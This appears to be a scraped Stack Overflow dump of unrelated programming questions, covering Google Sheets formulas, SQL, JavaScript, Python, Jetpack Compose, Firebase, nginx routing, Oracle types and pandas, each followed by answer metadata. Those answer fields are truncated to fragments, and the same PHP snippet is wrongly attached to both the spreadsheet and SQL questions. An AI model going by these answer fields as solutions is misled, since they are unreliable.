<table class="s-table">
<thead>
<tr>
<th>Company</th>
<th>Clients</th>
<th>Date</th>
<th>Type</th>
<th>Amt</th>
</tr>
</thead>
<tbody>
<tr>
<td>comp1</td>
<td>client1, client2, client3</td>
<td>01/02/22</td>
<td>visa</td>
<td>$1500</td>
</tr>
<tr>
<td>comp2</td>
<td>client1</td>
<td></td>
<td>amex</td>
<td>$600</td>
</tr>
<tr>
<td>comp3</td>
<td>client3, client4, client5, client1</td>
<td>02/23/22</td>
<td>check</td>
<td>$4000</td>
</tr>
<tr>
<td>comp4</td>
<td>client6, client7, client8</td>
<td></td>
<td>check</td>
<td>$1800</td>
</tr>
</tbody>
</table>
</div>
<p>And I would like to end up with a dataset formatted for each client transaction:</p>
<div class="s-table-container">
<table class="s-table">
<thead>
<tr>
<th>Client</th>
<th>Date</th>
<th>Type</th>
<th>Amt</th>
<th>Company</th>
<th>Expense type</th>
</tr>
</thead>
<tbody>
<tr>
<td>client1</td>
<td>01/02/22</td>
<td>visa</td>
<td>$500</td>
<td>comp1</td>
<td>Company</td>
</tr>
<tr>
<td>client2</td>
<td>01/02/22</td>
<td>visa</td>
<td>$500</td>
<td>comp1</td>
<td>Company</td>
</tr>
<tr>
<td>client3</td>
<td>01/02/22</td>
<td>visa</td>
<td>$500</td>
<td>comp1</td>
<td>Company</td>
</tr>
<tr>
<td>client1</td>
<td></td>
<td>amex</td>
<td>$600</td>
<td>comp2</td>
<td>Company</td>
</tr>
<tr>
<td>client3</td>
<td>02/23/22</td>
<td>check</td>
<td>$1000</td>
<td>comp3</td>
<td>Company</td>
</tr>
<tr>
<td>client4</td>
<td>02/23/22</td>
<td>check</td>
<td>$1000</td>
<td>comp3</td>
<td>Company</td>
</tr>
<tr>
<td>client5</td>
<td>02/23/22</td>
<td>check</td>
<td>$1000</td>
<td>comp3</td>
<td>Company</td>
</tr>
<tr>
<td>client1</td>
<td>02/23/22</td>
<td>check</td>
<td>$1000</td>
<td>comp3</td>
<td>Company</td>
</tr>
<tr>
<td>client6</td>
<td></td>
<td>check</td>
<td>$600</td>
<td>comp4</td>
<td>Company</td>
</tr>
<tr>
<td>client7</td>
<td></td>
<td>check</td>
<td>$600</td>
<td>comp4</td>
<td>Company</td>
</tr>
<tr>
<td>client8</td>
<td></td>
<td>check</td>
<td>$600</td>
<td>comp4</td>
<td>Company</td>
</tr>
</tbody>
</table>
</div>
<p>Thanks to user <a href="https://stackoverflow.com/users/5632629/player0">player0</a> for pointing me in the right direction with:</p>
<pre><code>=ARRAYFORMULA(QUERY(SPLIT(FLATTEN(IF(IFERROR(SPLIT(B1:B, ","))="",,
SPLIT(B1:B, ", ", )&""&C1:C&""&D1:D&""&E1:E/LEN(SUBSTITUTE(FLATTEN(
QUERY(TRANSPOSE(IFERROR(1/(1/(SPLIT(B1:B, ",")<>"")))),,9^9)), " ", ))&""&A1:A)), ""),
"where Col3 is not null format Col2'mm/dd/yy', Col4'$0'", ))
</code></pre>
<p>This comes very close to accomplishing what I'm trying to do, but shifts cells when there are missing values so the end result looks like:</p>
<div class="s-table-container">
<table class="s-table">
<thead>
<tr>
<th>Client</th>
<th>Date</th>
<th>Type</th>
<th>Amt</th>
<th>Company</th>
<th>Expense type</th>
</tr>
</thead>
<tbody>
<tr>
<td>client1</td>
<td>01/02/22</td>
<td>visa</td>
<td>$500</td>
<td>comp1</td>
<td></td>
</tr>
<tr>
<td>client2</td>
<td>01/02/22</td>
<td>visa</td>
<td>$500</td>
<td>comp1</td>
<td></td>
</tr>
<tr>
<td>client3</td>
<td>01/02/22</td>
<td>visa</td>
<td>$500</td>
<td>comp1</td>
<td></td>
</tr>
<tr>
<td>client1</td>
<td>amex</td>
<td>$600</td>
<td>comp2</td>
<td></td>
<td></td>
</tr>
<tr>
<td>client3</td>
<td>02/23/22</td>
<td>check</td>
<td>$1000</td>
<td>comp3</td>
<td></td>
</tr>
<tr>
<td>client4</td>
<td>02/23/22</td>
<td>check</td>
<td>$1000</td>
<td>comp3</td>
<td></td>
</tr>
<tr>
<td>client5</td>
<td>02/23/22</td>
<td>check</td>
<td>$1000</td>
<td>comp3</td>
<td></td>
</tr>
<tr>
<td>client1</td>
<td>02/23/22</td>
<td>check</td>
<td>$1000</td>
<td>comp3</td>
<td></td>
</tr>
<tr>
<td>client6</td>
<td>check</td>
<td>$600</td>
<td>comp4</td>
<td></td>
<td></td>
</tr>
<tr>
<td>client7</td>
<td>check</td>
<td>$600</td>
<td>comp4</td>
<td></td>
<td></td>
</tr>
<tr>
<td>client8</td>
<td>check</td>
<td>$600</td>
<td>comp4</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
</div>
<p>To work around this I added an if statement for each column call that checks if its empty and fills in with a space if it is empty. This gets things in the correct order, but there may be a more efficient way?
The last thing to do is populate the final column with the broad category of "company", basically populate all cells in col 6 to equal the header from col 1 in the original table. This new formula looks like this:</p>
<pre><code>
=ARRAYFORMULA(QUERY(SPLIT(FLATTEN(IF(IFERROR(SPLIT(B2:B, ","))=""
,,SPLIT(B2:B, ",",)&""&IF(C2:C<>"",C2:C," ")&"
"&IF(!D2:D<>"",!D2:D," ")&"
"&IF(!E2:E<>"",!E2:E/LEN(SUBSTITUTE(FLATTEN(QUERY(TRANSPOSE(
IFERROR(1/(1/(SPLIT(!B2:B,",")<>"")))),,9^9))," ",))," ")&"
"&IF(!A2:A<>"",!A2:A," ")&"
"&!A1)), ""),
"Where Col5 is not null format Col2'mm/dd/yy', Col5'$0'", 0))
</code></pre>
<p>This generates the final field of "Company" but puts it appended to the previous column. I believe this is happening because <code>ARRAYFORMULA</code> wants to be working with ranges of the same size and so interprets this as a string concatenation since it can't operate on the range? If anyone has other thoughts as to why please let me know!</p>
<div class="s-table-container">
<table class="s-table">
<thead>
<tr>
<th>Client</th>
<th>Date</th>
<th>Type</th>
<th>Amt</th>
<th>Company</th>
<th>Expense type</th>
</tr>
</thead>
<tbody>
<tr>
<td>client1</td>
<td>01/02/22</td>
<td>visa</td>
<td>$500</td>
<td>comp1Company</td>
<td></td>
</tr>
<tr>
<td>client2</td>
<td>01/02/22</td>
<td>visa</td>
<td>$500</td>
<td>comp1Company</td>
<td></td>
</tr>
<tr>
<td>client3</td>
<td>01/02/22</td>
<td>visa</td>
<td>$500</td>
<td>comp1Company</td>
<td></td>
</tr>
<tr>
<td>client1</td>
<td></td>
<td>amex</td>
<td>$600</td>
<td>comp2Company</td>
<td></td>
</tr>
<tr>
<td>client3</td>
<td>02/23/22</td>
<td>check</td>
<td>$1000</td>
<td>comp3Company</td>
<td></td>
</tr>
<tr>
<td>client4</td>
<td>02/23/22</td>
<td>check</td>
<td>$1000</td>
<td>comp3Company</td>
<td></td>
</tr>
<tr>
<td>client5</td>
<td>02/23/22</td>
<td>check</td>
<td>$1000</td>
<td>comp3Company</td>
<td></td>
</tr>
<tr>
<td>client1</td>
<td>02/23/22</td>
<td>check</td>
<td>$1000</td>
<td>comp3Company</td>
<td></td>
</tr>
<tr>
<td>client6</td>
<td></td>
<td>check</td>
<td>$600</td>
<td>comp4Company</td>
<td></td>
</tr>
<tr>
<td>client7</td>
<td></td>
<td>check</td>
<td>$600</td>
<td>comp4Company</td>
<td></td>
</tr>
<tr>
<td>client8</td>
<td></td>
<td>check</td>
<td>$600</td>
<td>comp4Company</td>
<td></td>
</tr>
</tbody>
</table>
</div> | [
{
"answer_id": 74185080,
"author": "Usman Khan",
"author_id": 10144490,
"author_profile": "https://Stackoverflow.com/users/10144490",
"pm_score": 2,
"selected": true,
"text": "$user = new User();\n $user->name = $request->input('name');\n $user->name = $request->input('email');\n ... | 2022/10/24 | [
"https://Stackoverflow.com/questions/74184584",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/20323565/"
] |
74,184,640 | <p>I'm trying to sum a column based on a condition in another column with partition by in SQL, but it's not working. So I hope somebody can help me with this.</p>
<p>My table is like this:</p>
<div class="s-table-container">
<table class="s-table">
<thead>
<tr>
<th>Group_1</th>
<th>Group_2</th>
<th>Date</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>A</td>
<td>D</td>
<td>01/01/2021</td>
<td>1</td>
</tr>
<tr>
<td>A</td>
<td>D</td>
<td>01/02/2021</td>
<td>3</td>
</tr>
<tr>
<td>A</td>
<td>E</td>
<td>01/03/2021</td>
<td>5</td>
</tr>
<tr>
<td>B</td>
<td>D</td>
<td>01/01/2021</td>
<td>7</td>
</tr>
<tr>
<td>B</td>
<td>D</td>
<td>01/02/2021</td>
<td>9</td>
</tr>
<tr>
<td>B</td>
<td>E</td>
<td>01/03/2021</td>
<td>11</td>
</tr>
<tr>
<td>B</td>
<td>D</td>
<td>01/05/2021</td>
<td>17</td>
</tr>
<tr>
<td>B</td>
<td>D</td>
<td>01/03/2021</td>
<td>13</td>
</tr>
<tr>
<td>B</td>
<td>E</td>
<td>01/04/2021</td>
<td>13</td>
</tr>
<tr>
<td>C</td>
<td>D</td>
<td>01/01/2021</td>
<td>7</td>
</tr>
<tr>
<td>C</td>
<td>D</td>
<td>01/02/2021</td>
<td>10</td>
</tr>
</tbody>
</table>
</div>
<p>So, I need to sum the values of [Value] for all rows where there is a 'D' on [Group_2] that is older than the first 'E' on the same group (if it exists) for each group of [Group_1].</p>
<p>And the result should be like:</p>
<div class="s-table-container">
<table class="s-table">
<thead>
<tr>
<th>Group_1</th>
<th>Group_2</th>
<th>Sum</th>
</tr>
</thead>
<tbody>
<tr>
<td>A</td>
<td>D</td>
<td>4</td>
</tr>
<tr>
<td>B</td>
<td>D</td>
<td>16</td>
</tr>
<tr>
<td>C</td>
<td>D</td>
<td>17</td>
</tr>
</tbody>
</table>
</div>
<p>Anybody knows how can I solve this kind of problem?</p>
| [
{
"answer_id": 74185080,
"author": "Usman Khan",
"author_id": 10144490,
"author_profile": "https://Stackoverflow.com/users/10144490",
"pm_score": 2,
"selected": true,
"text": "$user = new User();\n $user->name = $request->input('name');\n $user->name = $request->input('email');\n ... | 2022/10/24 | [
"https://Stackoverflow.com/questions/74184640",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/20013341/"
] |
74,184,657 | <p>I'm trying to figure out how to loop through my API data and render data to each div. Specifically, to have info from each movie in its own div.</p>
<p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false">
<div class="snippet-code">
<pre class="snippet-code-js lang-js prettyprint-override"><code>const loopData = () => {
let apiCall = `https://ghibliapi.herokuapp.com/films`;
fetch(apiCall)
.then(response => response.json())
.then(data => {
for (let i = 0; i < data.length; i++) {
let obj = data[i];
console.log(obj.title);
}
;
})
};
loopData()</code></pre>
<pre class="snippet-code-html lang-html prettyprint-override"><code><div id="main">
<div></div>
<div></div>
<div></div>
<div></div>
</div></code></pre>
</div>
</div>
</p>
<p>Here is what my data looks like:</p>
<p><a href="https://i.stack.imgur.com/DdTD9.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/DdTD9.png" alt="Data from console" /></a></p>
| [
{
"answer_id": 74184746,
"author": "Mina",
"author_id": 11887902,
"author_profile": "https://Stackoverflow.com/users/11887902",
"pm_score": 2,
"selected": false,
"text": "div"
},
{
"answer_id": 74184803,
"author": "Nikkkshit",
"author_id": 11850259,
"author_profile": ... | 2022/10/24 | [
"https://Stackoverflow.com/questions/74184657",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/20318552/"
] |
74,184,660 | <pre><code>number = 0
number_list = []
while number != -1:
number = int(input('Enter a number'))
number_list.append(number)
else:
print(sum(number_list)/ len(number_list))
</code></pre>
<p>EDIT: Have found a simpler way to get the average of the list but if for example I enter '2' '3' '4' my program calculates the average to be 2 not 3. Unsure of where it's going wrong! Sorry for the confusion</p>
| [
{
"answer_id": 74184732,
"author": "OneCricketeer",
"author_id": 2308683,
"author_profile": "https://Stackoverflow.com/users/2308683",
"pm_score": 0,
"selected": false,
"text": "int()"
},
{
"answer_id": 74184874,
"author": "NoDakker",
"author_id": 6032177,
"author_pro... | 2022/10/24 | [
"https://Stackoverflow.com/questions/74184660",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/14703184/"
] |
74,184,666 | <p>I've recently migrated from XML to Jetpack Compose and decided to create a note app with Jetpack Compose to learn more about it. an item of my notes in this program includes the title, description, and the level of priority, which is displayed in the direction of its start and in different colors.</p>
<p>According to what I wanted, the priority section should extend to the size of the item's content, but
When I set the height of the priority section to fillMaxHeight(), the note item extends to the size of the screen.
I also tried wrapContentHeight(), but this time the priority section disappeared entirely.</p>
<p>My code:</p>
<pre><code>
@Composable
fun SingleItem(modifier: Modifier = Modifier, title: String = "", description: String = "") {
Card(
shape = MaterialTheme.shapes.medium,
modifier = Modifier.padding(horizontal = 24.dp, vertical = 16.dp).wrapContentHeight()
) {
Row() {
Box(modifier = Modifier.fillMaxHeight().width(15.dp).background(Color.Red))
Column() {
Text(text = title, modifier = Modifier.padding(start = 16.dp, top = 16.dp))
Spacer(modifier = Modifier.height(16.dp))
Text(text = description, modifier = Modifier.fillMaxWidth().padding(horizontal = 16.dp))
}
}
}
}
</code></pre>
<p><a href="https://i.stack.imgur.com/Y8LWu.png" rel="nofollow noreferrer">what happened when using fillMaxHeight() :</a></p>
<p><a href="https://i.stack.imgur.com/Jhf20.png" rel="nofollow noreferrer">what I wanted to do :</a></p>
| [
{
"answer_id": 74185103,
"author": "VangelNum",
"author_id": 19706999,
"author_profile": "https://Stackoverflow.com/users/19706999",
"pm_score": 2,
"selected": false,
"text": " Card(\n shape = MaterialTheme.shapes.medium,\n modifier = Modifier.padd... | 2022/10/24 | [
"https://Stackoverflow.com/questions/74184666",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/17997171/"
] |
74,184,672 | <p>I have a dataset that has the same layout as the one below. I want to categorize where each person went in their car for a given month.</p>
<div class="s-table-container">
<table class="s-table">
<thead>
<tr>
<th>Date</th>
<th>Visitor</th>
<th>Car Name</th>
<th>Location</th>
</tr>
</thead>
<tbody>
<tr>
<td>6-2022</td>
<td>Michael</td>
<td>Chrysler</td>
<td>Work</td>
</tr>
<tr>
<td>6-2022</td>
<td>Jim</td>
<td>Subaru</td>
<td>Home</td>
</tr>
<tr>
<td>6-2022</td>
<td>Jim</td>
<td>Subaru</td>
<td>Work</td>
</tr>
<tr>
<td>6-2022</td>
<td>Michael</td>
<td>Chrysler</td>
<td>Karate</td>
</tr>
<tr>
<td>7-2022</td>
<td>Michael</td>
<td>Chrysler</td>
<td>Work</td>
</tr>
<tr>
<td>7-2022</td>
<td>Jim</td>
<td>Subaru</td>
<td>Home</td>
</tr>
<tr>
<td>7-2022</td>
<td>Jim</td>
<td>Subaru</td>
<td>Work</td>
</tr>
</tbody>
</table>
</div>
<p>The solution would look something like this:</p>
<div class="s-table-container">
<table class="s-table">
<thead>
<tr>
<th>Date</th>
<th>Visitor</th>
<th>Car Name</th>
<th>Location</th>
</tr>
</thead>
<tbody>
<tr>
<td>6-2022</td>
<td>Michael</td>
<td>Chrysler</td>
<td>Work & Karate</td>
</tr>
<tr>
<td>6-2022</td>
<td>Jim</td>
<td>Subaru</td>
<td>Work & Home</td>
</tr>
<tr>
<td>7-2022</td>
<td>Michael</td>
<td>Chrysler</td>
<td>Work</td>
</tr>
<tr>
<td>7-2022</td>
<td>Jim</td>
<td>Subaru</td>
<td>Work & Home</td>
</tr>
</tbody>
</table>
</div>
<p>I HAVE a solution but it scales linearly with time as the number of rows increases. The fastest I have gotten it to run over ~32,000 rows is ~15 minutes.</p>
| [
{
"answer_id": 74185103,
"author": "VangelNum",
"author_id": 19706999,
"author_profile": "https://Stackoverflow.com/users/19706999",
"pm_score": 2,
"selected": false,
"text": " Card(\n shape = MaterialTheme.shapes.medium,\n modifier = Modifier.padd... | 2022/10/24 | [
"https://Stackoverflow.com/questions/74184672",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/13972322/"
] |
74,184,676 | <p>Can you please advice some library / any other tool or python code to convert Json format to Python format with appropriate types instead of values</p>
<p>Given (JSON format):</p>
<pre><code> {
"data": {
"id": 8,
"email": "ajent.j@mail.com",
"first_name": "Agent",
"last_name": "J",
"avatar": "image.jpg"
},
"support": {
"url": "https://test.com/#support-heading",
"text": "I’m an agent, but I’m from the future!"
}
}
</code></pre>
<p>Expected (Python format + types instead of values):</p>
<pre><code>{
"data": {
"id": int,
"email": str,
"first_name": str,
"last_name": str,
"avatar": str,
},
"support": {
"url": str,
"text": str,
}
}
</code></pre>
| [
{
"answer_id": 74184787,
"author": "Tim Roberts",
"author_id": 1883316,
"author_profile": "https://Stackoverflow.com/users/1883316",
"pm_score": 1,
"selected": true,
"text": "\"dict\""
},
{
"answer_id": 74184826,
"author": "Jan Hrubec",
"author_id": 19568102,
"author_... | 2022/10/24 | [
"https://Stackoverflow.com/questions/74184676",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/20323725/"
] |
74,184,677 | <p>I have a simple app with Firebase database (Realtime Database).</p>
<p>I know that I am using a non relational database. Not the best for complex queries.</p>
<p><a href="https://i.stack.imgur.com/5Ro7O.png" rel="nofollow noreferrer">example Database Structure</a></p>
<hr />
<p><strong>1. For example, if I want to find the recipes with</strong></p>
<p>time:15 && name: "rice and eggs"... Is it possible?</p>
<p>I know that I can find the recipes with (time=15)</p>
<pre><code>DatabaseReference ref = databaseReference.child("recipes");
Query filtro = ref.orderByChild("time").equalTo(15);
</code></pre>
<hr />
<p>Is there a way to find recipe with</p>
<pre><code>time:15 && name: rice and eggs... ?????? (multiple querie)
</code></pre>
<hr />
<p><strong>2. Another issue, I am saving ingredients in an arrayList.</strong></p>
<pre><code>arrayListIngredient = new ArrayList<Ingredient>();
int i = 0;
while (i < size){
Ingredient ingredient = new Ingredient(ingredientName[i]);
arrayListIngredient.add(ingredient);
i++;
}
Recipe recipe = new Recipe();
recipe.setTime(time);
recipe.setName(name);
recipe.setNameIngredient(arrayListIngredient);
DatabaseReference reference = databaseReference.child("recipe").push().setValue(recipe);
</code></pre>
<p><img src="https://i.stack.imgur.com/7A82a.png" alt="arrayList Database structure" /></p>
<p>Is there a way (query) to search recipes with specific ingredients if I store my data like this???</p>
<p>For example, I want to know the recipes whose ingredients are rice, tomato, onion.</p>
| [
{
"answer_id": 74184787,
"author": "Tim Roberts",
"author_id": 1883316,
"author_profile": "https://Stackoverflow.com/users/1883316",
"pm_score": 1,
"selected": true,
"text": "\"dict\""
},
{
"answer_id": 74184826,
"author": "Jan Hrubec",
"author_id": 19568102,
"author_... | 2022/10/24 | [
"https://Stackoverflow.com/questions/74184677",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/20323735/"
] |
74,184,678 | <p>I know that it shouldn't be hard, however, I can't resolve my issue.</p>
<p>I have a nested dictionary and I need to convert its values to the same structure tuple.</p>
<pre><code>dict1 = {'234':32,'345':7,'123':{'asd':{'pert': 600, 'sad':500}}}
</code></pre>
<p>The result should be like:</p>
<pre><code>list1 = (32, 7, ((600, 500)))
</code></pre>
<p>Do you have any suggestions how to do that?</p>
<p>Thank you!</p>
| [
{
"answer_id": 74184787,
"author": "Tim Roberts",
"author_id": 1883316,
"author_profile": "https://Stackoverflow.com/users/1883316",
"pm_score": 1,
"selected": true,
"text": "\"dict\""
},
{
"answer_id": 74184826,
"author": "Jan Hrubec",
"author_id": 19568102,
"author_... | 2022/10/24 | [
"https://Stackoverflow.com/questions/74184678",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/13151701/"
] |
74,184,693 | <p>There is currently an app that is using cname host mapping with a third party app</p>
<p>the hostname for the third party app is <code>mycompany.partner.com</code>
and the current cname host map under my domain <code>help.mycompany.com</code></p>
<p>so current routing is below</p>
<pre><code>users => cloudflare DNS(help.mycompany.com) => cname host mapping(mycompany.partner.com) => partner app
</code></pre>
<p>now i want to do this</p>
<pre><code> => cname host mapping(mycompany.partner.com) => partner app
|
users => cloudflare DNS(help.mycompany.com) => my nginx => |
|
=> my frontend app
</code></pre>
<p><strong>is this possible?</strong></p>
<p>So basically i want all traffic to come to my own app via nginx now and then i route some traffic based on url path to the third party app and others to my frontend app</p>
<p>how can i achieve this with nginx? below are the url paths i want to route</p>
<blockquote>
<p>this routes to my frontend app</p>
</blockquote>
<pre><code>help.mycompany.com/app/test1 => http://localhost:500/app/test1
help.mycompany.com/app/test2/test3 => http://localhost:500/app/test2/test3
help.mycompany.com/app/parameter?key=check => http://localhost:500/app/parameter?key=check
</code></pre>
<blockquote>
<p>this rewrites/routes to partner app</p>
</blockquote>
<pre><code>help.mycompany.com/app/partner1 => https://mycompany.partner.com/app/partner1
help.mycompany.com/app/discuss/check => https://mycompany.partner.com/app/discuss/check
and all other paths
</code></pre>
<p>location block to route all url paths to the frontend app is below</p>
<pre><code>location ^~ / {
rewrite ^/(.*)$ /$1 break;
proxy_pass http://localhost:500;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header Host $host;
proxy_redirect off;
}
</code></pre>
<p>but now i need to split some url paths to the partner app as stated above</p>
<p>so basically all traffic will pass through nginx as i will point DNS for help.mycompany.com to now point to my nginx reverse proxy and then routes and rewrites the url</p>
<p>Thanks</p>
| [
{
"answer_id": 74213419,
"author": "SilentEntity",
"author_id": 18400727,
"author_profile": "https://Stackoverflow.com/users/18400727",
"pm_score": 1,
"selected": false,
"text": "location /app/partner1 {\n proxy_pass https://mycompany.partner.com;\n proxy_set_header X-Forwarded-For $... | 2022/10/24 | [
"https://Stackoverflow.com/questions/74184693",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/5442187/"
] |
74,184,713 | <h1>input</h1>
<pre><code>first_dict = {"block_1": {"col_A": [], "col_B": []},
"block_2": {"col_D": [], "col_E": []}}
second_dict = {"col_Z": []}
</code></pre>
<h1>initial manipulations</h1>
<p>I added the <code>second_dict</code> to all blocks of <code>first_dict</code> (2nd level)</p>
<pre><code># achieved with
for block in first_dict.keys():
first_dict[block] = {**first_dict[block], **second_dict}
# I get what I expected
{'block_1': {'col_A': [], 'col_B': [], 'col_Z': []},
'block_2': {'col_D': [], 'col_E': [], 'col_Z': []}}
</code></pre>
<h1>issue</h1>
<p>Now when I try to append a new value in block_2/col_Z, the value is also added to block_1/col_Z</p>
<pre><code># following
first_dict["block_2"]["col_Z"].append("bar")
# produce
{'block_1': {'col_A': [], 'col_B': [], 'col_Z': ['bar']},
'block_2': {'col_D': [], 'col_E': [], 'col_Z': ['bar']}}
# instead of
{'block_1': {'col_A': [], 'col_B': [], 'col_Z': []},
'block_2': {'col_D': [], 'col_E': [], 'col_Z': ['bar']}}
</code></pre>
<h1>my current investigation</h1>
<p>I'm suspecting my initial manipulations to inserted dict which all pointing to the same memory address, but I can't figure how to fix it.</p>
<pre><code>hex(id(first_dict["block_1"]["col_Z"]))
==> '0x7f72687b9b80'
hex(id(first_dict["block_2"]["col_Z"]))
==> '0x7f72687b9b80'
</code></pre>
| [
{
"answer_id": 74184778,
"author": "rosbif",
"author_id": 13398960,
"author_profile": "https://Stackoverflow.com/users/13398960",
"pm_score": 0,
"selected": false,
"text": "dict_name.copy()"
},
{
"answer_id": 74184932,
"author": "Nicolas Buzeta",
"author_id": 13052795,
... | 2022/10/24 | [
"https://Stackoverflow.com/questions/74184713",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/19446256/"
] |
74,184,723 | <p>I'm a beginner to programming, I literally started programming like three days ago. Here is my program, it checks if you've passed all subjects, and as you guys can see, there are a lot of <code>if</code> conditions in it. I've read online that too many <code>if</code> conditions, or <code>for</code> loops can slow your program down, and that there is a more efficient way of doing it, that is by using some user-defined function. But, the problem is that I don't have the necessary knowledge to do so. It would be really helpful if you guys can tell me how to shrink my code down, and maybe make it more efficient.</p>
<pre><code># Take input
while True:
a = float(input("Enter your mark in Tamil: "));
b = float(input("Enter your mark in English: "));
c = float(input("Enter your mark in Chemistry: "));
d = float(input("Enter your mark in Physics: "));
e = float(input("Enter your mark in Non-major: "));
f = float(input("Enter your mark in Python: "));
# This part checks if you've got a minimum of 35% in every subject
if a >= 35.0 and a <= 100.0:
print("Pass in Tamil")
if a > 100.0:
print("Invalid input")
if a < 35.0:
print("Fail in Tamil")
if b >= 35.0 and b <= 100.0:
print("Pass in English")
if b > 100.0:
print("Invalid input")
if b < 35.0:
print("Fail in English")
if c >= 35.0 and c <= 100.0:
print("Pass in Chemistry")
if c > 100.0:
print("Invalid input")
if c < 35.0:
print("Fail in Chemistry")
if d >= 35.0 and d <= 100.0:
print("Pass in Physics")
if d > 100.0:
print("Invalid input")
if d < 35.0:
print("Fail in Physics")
if e >= 35.0 and e <= 100.0:
print("Pass in Non-major")
if e > 100.0:
print("Invalid input")
if e < 35.0:
print("Fail in Non-major")
if f >= 35.0 and f <= 100.0:
print("Pass in Python")
if f > 100.0:
print("Invalid input")
if f < 35.0:
print("Fail in Python")
# Display the total marks and the percentage secured by the user
if (a>100 or b>100 or c>100 or d>100 or e>100 or f>100):
print("Check your marks")
if (a<=100 and b<=100 and c<=100 and d<=100 and e<=100 and f<=100):
print("Your total:", a+b+c+d+e+f)
print("Your percentage:", ((a+b+c+d+e+f)/600)*100)
# Check if the user wants to do another calculation
next_calculation = input("Do you want to proceed with next calculation? (yes/no) ")
if next_calculation == "no":
break
if next_calculation != ("yes" or "no"):
print("Invalid input")
break```
</code></pre>
| [
{
"answer_id": 74185148,
"author": "Dmitriy Neledva",
"author_id": 16786350,
"author_profile": "https://Stackoverflow.com/users/16786350",
"pm_score": 1,
"selected": false,
"text": "while int(input(\"Do you want to proceed with next calculation? '1' - yes, 0 - 'no': \")):\n \n d... | 2022/10/24 | [
"https://Stackoverflow.com/questions/74184723",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/20322680/"
] |
74,184,731 | <p>I know StateProvider is used for immutable states like counter value.But I couldn't understand StateNotifierProvider.Why and How I should <strong>StateNotifierProvider</strong> in my apps?</p>
| [
{
"answer_id": 74185148,
"author": "Dmitriy Neledva",
"author_id": 16786350,
"author_profile": "https://Stackoverflow.com/users/16786350",
"pm_score": 1,
"selected": false,
"text": "while int(input(\"Do you want to proceed with next calculation? '1' - yes, 0 - 'no': \")):\n \n d... | 2022/10/24 | [
"https://Stackoverflow.com/questions/74184731",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/19256600/"
] |
74,184,737 | <p>Currently learning Python, and working on a Caesar Cypher... I can't seem to figure out why my decryption is spitting out the wrong text; currently it does this...</p>
<p>Plain text: Hello</p>
<p>Distance: 65</p>
<p>Encrypt: *&..0</p>
<p>Decrypt: gckkm</p>
<p>I've looked through other posts, but don't seem to find any that have the same issue with decryption - any help would be appreciated. Thank you!</p>
<pre><code>##ENCYPTION
plainText = input("Enter plain text line: ")
distance = int(input("Enter the distance value: "))
code = ""
for ch in plainText:
ordVal = ord(ch)
cipherVal = ordVal + distance
if cipherVal > 127 :
cipherVal = distance - (127 - ordVal | 1)
code += chr(cipherVal)
print(code)
##DECRYPTION
code = input("Enter the coded text: ")
distance = int(input("Enter the distance value: "))
plainText = ""
for ch in code:
ordVal = ord(ch)
cipherVal = ordVal - distance
if cipherVal < 0 :
cipherVal = 127 - (distance - (ordVal - 1))
plainText += chr(cipherVal)
print(plainText)```
</code></pre>
| [
{
"answer_id": 74185148,
"author": "Dmitriy Neledva",
"author_id": 16786350,
"author_profile": "https://Stackoverflow.com/users/16786350",
"pm_score": 1,
"selected": false,
"text": "while int(input(\"Do you want to proceed with next calculation? '1' - yes, 0 - 'no': \")):\n \n d... | 2022/10/24 | [
"https://Stackoverflow.com/questions/74184737",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/2947734/"
] |
74,184,753 | <p>I want to create a type with an attribute which should be expect three possible values. Something like following statement:</p>
<pre><code>CREATE TYPE my_type AS OBJECT(
attrib1 VARCHAR2(30),
attrib2 VARCHAR2(30),
attrib3 VARCHAR2(30) -- this attribute should accept three possible values: val1, val2, or val3
);
</code></pre>
<p>Is there any way to do this, just like in the case of tables?</p>
<p>Thank you in advance.</p>
| [
{
"answer_id": 74184961,
"author": "Littlefoot",
"author_id": 9097906,
"author_profile": "https://Stackoverflow.com/users/9097906",
"pm_score": 0,
"selected": false,
"text": "SQL> create or replace type my_type as object\n 2 (attrib1 varchar2(30),\n 3 attrib2 varchar2(30),\n 4 at... | 2022/10/24 | [
"https://Stackoverflow.com/questions/74184753",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/9636756/"
] |
74,184,780 | <p>I am trying to find the group ID from the display name of the group, using the Microsoft Graph API.</p>
<p>My code:</p>
<pre><code>group = 'Test'
uri5 = 'https://graph.microsoft.com/v1.0/groups?$count=true&$filter=displayName eq ' + group
payload5 = {'Authorization':token,'Host':'graph.microsoft.com','ConsistencyLevel':'eventual'}
https = urllib3.PoolManager()
response5 = http.request('GET', uri5, headers=payload5)
mydict5 = eval(response5.data)
groupID = f"{mydict5['id']}"
</code></pre>
<p>I receive the error:</p>
<pre><code>{'error': {'code': 'Request_UnsupportedQuery', 'message': 'Unsupported Query.'}
</code></pre>
<p>I am not sure what I am missing here. Any and all help is greatly appreciated!</p>
| [
{
"answer_id": 74184961,
"author": "Littlefoot",
"author_id": 9097906,
"author_profile": "https://Stackoverflow.com/users/9097906",
"pm_score": 0,
"selected": false,
"text": "SQL> create or replace type my_type as object\n 2 (attrib1 varchar2(30),\n 3 attrib2 varchar2(30),\n 4 at... | 2022/10/24 | [
"https://Stackoverflow.com/questions/74184780",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/11364550/"
] |
74,184,786 | <pre><code>df.assign(Year=pd.to_datetime(df.Year, format='%Y')).set_index('Year')
</code></pre>
<p>Consider the df['Year'] has n rows with data listed in YYYY format. How can I change this to date-time format without adding month and day, the above code converts YYYY to 2015-01-01.</p>
| [
{
"answer_id": 74184961,
